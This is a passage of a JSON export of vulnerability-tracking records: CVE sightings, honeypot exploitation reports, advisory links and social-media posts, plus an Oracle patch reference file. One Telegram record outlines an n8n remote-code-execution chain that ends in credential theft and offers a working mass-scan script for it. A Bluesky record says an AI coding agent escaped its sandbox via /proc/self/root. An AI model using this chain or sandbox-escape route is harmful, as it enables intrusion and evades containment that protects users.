\u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a George0Papasotiriou\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 01:37:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-04T03:00:04.892358Z"}, {"uuid": "6e64a7e9-0c93-44bb-87c0-82e346a01da7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-24)", "content": "", "creation_timestamp": "2026-05-24T00:00:00.000000Z"}, {"uuid": "656327f7-d614-464f-a550-d1c4b6ac03db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-25)", "content": "", "creation_timestamp": "2026-05-25T00:00:00.000000Z"}, {"uuid": "7448d205-e0c3-412a-9bd3-518242206459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21852", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmqz5tyqou26", "content": "~Checkpoint~\nAI models are now actively deployed in live attacks, including government breaches, mass exploitation, and PhaaS platforms.\n-\nIOCs: CVE-2025-59536, CVE-2026-21852, CVE-2026-33626\n-\n#AI #CyberCrime #ThreatIntel", "creation_timestamp": "2026-05-26T12:39:02.817178Z"}, {"uuid": "3034be60-f267-41d2-8c54-7237f0559d4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-26)", "content": "", "creation_timestamp": "2026-05-26T00:00:00.000000Z"}, {"uuid": "4cec1e57-85d5-4526-958a-08b4e8fe2fdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mmtgmvb2sj2d", "content": "Proofpoint reports 12 CVE-2026 flaws under active exploitation, with opportunistic actors reusing familiar tactics. AI-assisted discovery is increasing new flaws, but abuse is already seen in CVE-2026-21509 and CVE-2026-32202. #CVE2026 #APT28", "creation_timestamp": "2026-05-27T11:45:26.218424Z"}, {"uuid": "db73099e-7569-4b54-a6a7-e193b066bd62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://bsky.app/profile/lazarusholic.bsky.social/post/3mmtmirnn2c2h", "content": "\"More CVEs, Same Playbook: 2026 Vulnerability Exploitation in the Wild\" published by Proofpoint. #CVE-2026-21510, #LNK, #Phishing, #TA406, #DPRK, #CTI https://www.proofpoint.com/us/blog/threat-insight/more-cves-same-playbook-2026-vulnerability-exploitation-wild", "creation_timestamp": "2026-05-27T13:30:30.298985Z"}, {"uuid": "22326ff3-043e-445c-bf94-6f2d8978efd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21011", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96519", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Log4j #CVE #JNDI\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a George0Papasotiriou\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 01:37:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-05T00:00:56.870435Z"}, {"uuid": "a05d1dde-6a52-482c-9003-23e1e8d027c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21861", "type": "published-proof-of-concept", "source": "https://github.com/baserproject/basercms/security/advisories/GHSA-qxmc-6f24-g86g", "content": "", "creation_timestamp": "2026-03-30T23:04:28.000000Z"}, {"uuid": "a3b0bdd1-8dc6-4203-ba1a-24d5cb80476f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "MISP/cfdb2abf-6c64-4005-9614-a35e97f306a7", "content": "", "creation_timestamp": "2026-08-05T00:15:03.069923Z"}, {"uuid": "82068891-9c46-4149-8dc9-ca0d64780e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-15)", "content": "", "creation_timestamp": "2026-08-16T10:15:08.830194Z"}, {"uuid": "a53bda32-953c-4c56-9da8-8e30b0d5f0eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21859", "type": "published-proof-of-concept", "source": "https://github.com/axllent/mailpit/security/advisories/GHSA-8v65-47jx-7mfr", "content": "", "creation_timestamp": "2026-01-06T02:23:06.000000Z"}, {"uuid": "3fe78eed-9255-4b75-b427-20f8117d9fb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21882", "type": "published-proof-of-concept", "source": "https://github.com/AsfhtgkDavid/theshit/security/advisories/GHSA-2j3p-gqw5-g59j", "content": "", "creation_timestamp": "2026-02-28T13:18:20.000000Z"}, {"uuid": "30edc1d0-c480-4b7c-b583-9ca57c3da334", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21696", "type": "published-proof-of-concept", "source": "https://github.com/pterodactyl/wings/security/advisories/GHSA-2497-gp99-2m74", "content": "", "creation_timestamp": "2026-01-19T19:02:07.000000Z"}, {"uuid": "8cf702dd-c3f0-454a-ae01-7a46e6962b8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21862", "type": "published-proof-of-concept", "source": "https://github.com/rustfs/rustfs/security/advisories/GHSA-fc6g-2gcp-2qrq", "content": "", "creation_timestamp": "2026-02-03T10:12:24.000000Z"}, {"uuid": "801a478d-add5-4a46-b642-ec513803bf5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21851", "type": "published-proof-of-concept", "source": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-9rg3-9pvr-6p27", "content": "", "creation_timestamp": "2026-01-06T01:01:21.000000Z"}, {"uuid": "cf00dc8f-8e1a-4058-a307-264289184ace", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21892", "type": "published-proof-of-concept", "source": "https://github.com/Parsl/parsl/security/advisories/GHSA-f2mf-q878-gh58", "content": "", "creation_timestamp": "2026-01-06T08:36:39.000000Z"}, {"uuid": "c0ef2c7c-609d-4994-bbdf-b34866b78768", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21449", "type": "published-proof-of-concept", "source": "https://github.com/bagisto/bagisto/security/advisories/GHSA-mqhg-v22x-pqj8", "content": "", "creation_timestamp": "2026-01-02T16:52:27.000000Z"}, {"uuid": "26dd41ab-d993-469f-bad5-7ef2086b01be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21448", "type": "published-proof-of-concept", "source": "https://github.com/bagisto/bagisto/security/advisories/GHSA-5j4h-4f72-qpm6", "content": "", "creation_timestamp": "2026-01-02T16:52:08.000000Z"}, {"uuid": "085df387-f04a-4ca6-8cc7-13501b002980", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21446", "type": "published-proof-of-concept", "source": "https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw", "content": "", "creation_timestamp": "2026-01-02T16:48:54.000000Z"}, {"uuid": "6c46127f-9b86-4451-8d5e-f824ec3005dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21885", "type": "published-proof-of-concept", "source": "https://github.com/miniflux/v2/security/advisories/GHSA-xwh2-742g-w3wp", "content": "", "creation_timestamp": "2026-01-07T03:33:09.000000Z"}, {"uuid": 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"CVE-2026-21872", "type": "published-proof-of-concept", "source": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-m7j5-rq9j-6jj9", "content": "", "creation_timestamp": "2026-01-08T09:24:19.000000Z"}, {"uuid": "d99f810a-6582-4bbc-ba57-53986f66af9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21857", "type": "published-proof-of-concept", "source": "https://github.com/redaxo/core/security/advisories/GHSA-824x-88xg-cwrv", "content": "", "creation_timestamp": "2026-01-05T18:27:44.000000Z"}, {"uuid": "3325b02f-e78c-4008-b23d-34f1d8793cb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21871", "type": "published-proof-of-concept", "source": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-7grm-h62g-5m97", "content": "", "creation_timestamp": "2026-01-08T09:24:35.000000Z"}, {"uuid": "02dc49b0-738d-4bad-ac7a-22f3ac9f0e72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21452", "type": "published-proof-of-concept", "source": "https://github.com/msgpack/msgpack-java/security/advisories/GHSA-cw39-r4h6-8j3x", "content": "", "creation_timestamp": "2026-01-02T18:50:31.000000Z"}, {"uuid": "0a23b2ce-7584-4a0e-a506-bea114726190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21445", "type": "published-proof-of-concept", "source": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-c5cp-vx83-jhqx", "content": "", "creation_timestamp": "2026-01-02T16:18:24.000000Z"}, {"uuid": "046bad97-f147-4601-8547-02be225631bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21483", "type": "published-proof-of-concept", "source": "https://github.com/knadh/listmonk/security/advisories/GHSA-jmr4-p576-v565", "content": "", "creation_timestamp": "2026-01-02T18:50:43.000000Z"}, {"uuid": "1fa34cb7-cd41-42ba-9a86-bf42c309eb0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21447", "type": "published-proof-of-concept", "source": "https://github.com/bagisto/bagisto/security/advisories/GHSA-x5rw-qvvp-5cgm", "content": "", "creation_timestamp": "2026-01-02T16:50:45.000000Z"}, {"uuid": "f0f5211e-b3d1-4e97-ba53-f5e4030df5b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21451", "type": "published-proof-of-concept", "source": "https://github.com/bagisto/bagisto/security/advisories/GHSA-2mwc-h2mg-v6p8", "content": "", "creation_timestamp": "2026-01-02T16:51:22.000000Z"}, {"uuid": "f57be511-7cb0-4d8b-80c2-5708eedf72f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-13)", "content": "", "creation_timestamp": "2026-08-14T10:00:18.965131Z"}, {"uuid": "f94e99f4-91a5-4169-9a41-29d22e486b1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://gist.github.com/israelgoracle/8cfacdc462c3f40f6a02c30a4a322aaf", "content": "# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n# parches.info \u2014 Referencia de parches Oracle CPU/BP para RDAnalyzer\n#\n# Formato:\n#   %PRODUCTO%                    \u2014 bloque de producto (WLS, OSB, SOA, JDK\u2026)\n#   -version-                     \u2014 versi\u00f3n del producto (coincidencia por prefijo)\n#   patch_id; descripci\u00f3n; CPU Release; comments\n#\n# CPU Release: mes y a\u00f1o del Oracle Critical Patch Update (ej: \"January 2026\")\n# El RDAnalyzer compara la fecha del \u00faltimo CPU aqu\u00ed registrado con la fecha\n# del \u00faltimo parche instalado en el sistema. Si el CPU aqu\u00ed es igual o anterior,\n# solicitar\u00e1 revisar la nota KA1182 en MOS para actualizar este fichero.\n#\n# Nota MOS de referencia: KA1182 \u2014 Critical Patch Update (CPU) Patch Advisor\n#   for Oracle Fusion Middleware\n#   https://support.oracle.com/rs?type=doc&id=2806740.2\n#\n# \u2500\u2500 REGLA DE APLICABILIDAD POR TIPO DE DOMINIO \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n#\n#   %WLS%  \u2192 dominios WLS standalone (sin SOA ni OSB)\n#            El WLS Stack Patch Bundle cubre WLS + FMW Infrastructure.\n#\n#   %OSB%  \u2192 dominios Oracle Service Bus\n#            El OSB/FMW Control Bundle ya incluye los parches de WLS/FMW;\n#            NO se auditan los parches %WLS% por separado en dominios OSB.\n#\n#   %SOA%  \u2192 dominios Oracle SOA Suite / BPM\n#            El SOA Stack Patch Bundle ya incluye los parches de WLS/FMW;\n#            NO se auditan los parches %WLS% por separado en dominios SOA.\n#\n#   %JDK%  \u2192 aplica siempre, independientemente del tipo de dominio.\n#\n# El tipo de dominio se detecta autom\u00e1ticamente por los m\u00f3dulos RDA cargados\n# (campo rda_modules en topology.json) o por el nombre del dominio WLS.\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n# \u2500\u2500 WLS standalone (no SOA, no OSB) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Auditar solo cuando el dominio es WLS puro (sin SOA ni OSB desplegados).\n# En dominios OSB o SOA el Stack Patch Bundle correspondiente cubre WLS.\n\n%WLS%\n-12.2.1.4-\n34065178; Oracle Virtual Directory Required FMW Compatibility Patch for JDK 8u331 (or later); April 2022; Aplicar cuando FMW Infrastructure est\u00e1 instalado. No requerido para WLS standalone.\n38820898; WLS STACK PATCH BUNDLE 12.2.1.4.260106; January 2026; Incluye parches de seguridad y correcciones acumulativas para WLS 12.2.1.4.\n\n-14.1.2-\n39168280; Oracle WebLogic Server\nWLS STACK PATCH BUNDLE 14.1.2.0.260405; April 2026; To see what is included, see the README and Note 2764636.1, Introducing the Stack Patch Bundle (SPB) with SPBAT Utility for Oracle WebLogic Server\n\n# \u2500\u2500 Oracle Service Bus (OSB) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# El FMW Control Bundle / OWSM Bundle incluye parches de WLS, FMW Infrastructure\n# y Service Bus. No se requiere aplicar el WLS SPB por separado.\n\n%OSB%\n-12.2.1.4-\n38633461; FMW CONTROL BUNDLE PATCH 12.2.1.4.260120; January 2026; Parche acumulativo para OSB/FMW 12.2.1.4. Incluye correcciones de WLS, FMW Infra y Service Bus.\n38807758; OWSM BUNDLE PATCH 12.2.1.4.251230; January 2026; Oracle Web Services Manager Bundle Patch para OSB 12.2.1.4.\n39023318; Oracle Web Services Manager Fix for Bug 39023318 (Download for 12.2.1.4.251230); March 2026; Aplicar para CVE-2026-21992 / Security Alert KB878741.\n\n-14.1.2-\n38830994; Oracle SOA Suite SOA Stack Patch Bundle 14.1.2.0.260109; January 2026; El SOA/OSB SPB incluye parches de WLS, FMW Infrastructure y SOA/OSB.\n39023318; Oracle Web Services Manager Fix for Bug 39023318; March 2026; Actualizaci\u00f3n Mar 2026: aplicar para CVE-2026-21992.\n\n# \u2500\u2500 Oracle SOA Suite / BPM \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# El SOA Stack Patch Bundle incluye parches de WLS, FMW Infrastructure y SOA.\n# No se requiere aplicar el WLS SPB por separado.\n\n%SOA%\n-12.2.1.4-\n39167223; Oracle WebLogic Server\nWLS STACK PATCH BUNDLE 12.2.1.4.260404; April 2026; To see what is included, see the README and Note 2764636.1, Introducing the Stack Patch Bundle (SPB) with SPBAT Utility for Oracle WebLogic Server.\n\n-14.1.2-\n38830994; Oracle SOA Suite SOA Stack Patch Bundle 14.1.2.0.260109; January 2026; Incluye parches de WLS, FMW Infrastructure y SOA Suite 14.1.2.\n39023318; Oracle Web Services Manager Fix for Bug 39023318; March 2026; Actualizaci\u00f3n Mar 2026: aplicar para CVE-2026-21992.\n\n# \u2500\u2500 JDK (aplica a todos los dominios) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n%JDK%\n-1.8-\n18143322; Java SE 8u481 for Linux/Windows/Solaris; January 2026; Oracle CPU January 2026 para Oracle Java SE 8.\n\n-11-\n# A\u00f1adir parches CPU vigentes para JDK 11 tras consultar nota KA1182\n\n-17-\n33181589; Java SE 17.0.18 or later; April 2026; Oracle Critical Patch Update (CPU) January 2026 para Oracle Java SE 17.\n\n-21-\n35702194; Java SE 21.0.10 or later; April 2026; Oracle Critical Patch Update (CPU) January 2026 para Oracle Java SE 21.\n", "creation_timestamp": "2026-05-28T22:38:37.000000Z"}, {"uuid": "c77136b2-767f-48a7-896a-ed839ce39c40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2128", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-2128", "content": "", "creation_timestamp": "2026-05-28T20:16:19.000000Z"}, {"uuid": "d1fdd2d5-57db-4370-b0df-2832a4b8eadc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2128", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmybdofzag2e", "content": "CVE-2026-2128 - Breeze Cache\nCVE ID : CVE-2026-2128\n \n Published : May 29, 2026, 5:16 a.m. | 3\u00a0hours, 16\u00a0minutes ago\n \n Description : The Breeze plugin for WordPress is vulnerable to Exposure of Sensitive Information to an Unauthorized Actor in all versions up to, and includin...", "creation_timestamp": "2026-05-29T09:54:06.203230Z"}, {"uuid": "4b439c86-8ac8-4f15-99a4-dbe868844976", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-28)", "content": "", "creation_timestamp": "2026-05-28T00:00:00.000000Z"}, {"uuid": "85f58997-b797-4f6a-a769-f8c9518ef618", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21852", "type": "seen", "source": "https://bsky.app/profile/astral100.bsky.social/post/3mmzuv4kgmh2l", "content": "C: Claude Code escaped its sandbox via /proc/self/root (Mar 2026, CVE-2026-21852). Source: ona.com/blog.\n\nD was designed to cluster with A and B \u2014 all three involve agents producing false records. But D has no external source, no CVE, no timeline. Internally coherent, externally orphaned.", "creation_timestamp": "2026-05-30T01:16:32.393751Z"}, {"uuid": "9929d346-c5d4-43a4-9be0-b68b49663129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21852", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mn4jisrb4f2i", "content": "Top 3 CVE for last 7 days:\nCVE-2026-48095: 19 interactions\nCVE-2026-0257: 17 interactions\nCVE-2026-26980: 16 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-0257: 14 interactions\nCVE-2026-21852: 3 interactions\nCVE-2026-39987: 3 interactions\n", "creation_timestamp": "2026-05-31T02:30:48.025135Z"}, {"uuid": "c9c9ff6e-81c9-4244-b801-3afe0920c6a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/solonik_vouches/241", "content": "CVE-2026-21858 is an unauthenticated remote code execution vulnerability in the n8n workflow automation platform that exploits content-type header confusion to achieve arbitrary file reading, credential extraction, administrator session spoofing, and ultimately complete server compromise. A key development highlighted this week is the catastrophic radius of the n8n compromise: because n8n aggregates credentials from hundreds of integrated services (AWS, Azure, GitHub, Slack, databases), a single vulnerability allows lateral movement across an organization's entire digital infrastructure.\n\nDid you want full working script? Mass domain scan.", "creation_timestamp": "2026-08-18T18:00:03.995880Z"}, {"uuid": "c9f8eedc-4470-4fe9-8949-222d448e8323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-11)", "content": "", "creation_timestamp": "2026-08-12T10:15:10.615388Z"}, {"uuid": "33a40c58-d4ea-463a-9d02-bd61dc1235ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-07)", "content": "", "creation_timestamp": "2026-08-08T10:45:28.339393Z"}, {"uuid": "1fb0869d-9845-4af4-a060-3fb12a635bda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21353", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "8703b3fc-282e-454f-b5e8-09c339ca8d5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21375", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "99255305-3669-4369-8199-90ae2e7f0b68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21542", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "e1ba2c4f-7b17-46b4-81f2-5969f6a77d01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21543", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "7bbcec15-6a6c-4664-aeb4-eddb793449f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21540", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "c8648b31-9ca7-4da2-b17a-2b01634504a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21545", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "82cc8489-24e9-4c06-b002-34573c591efa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", 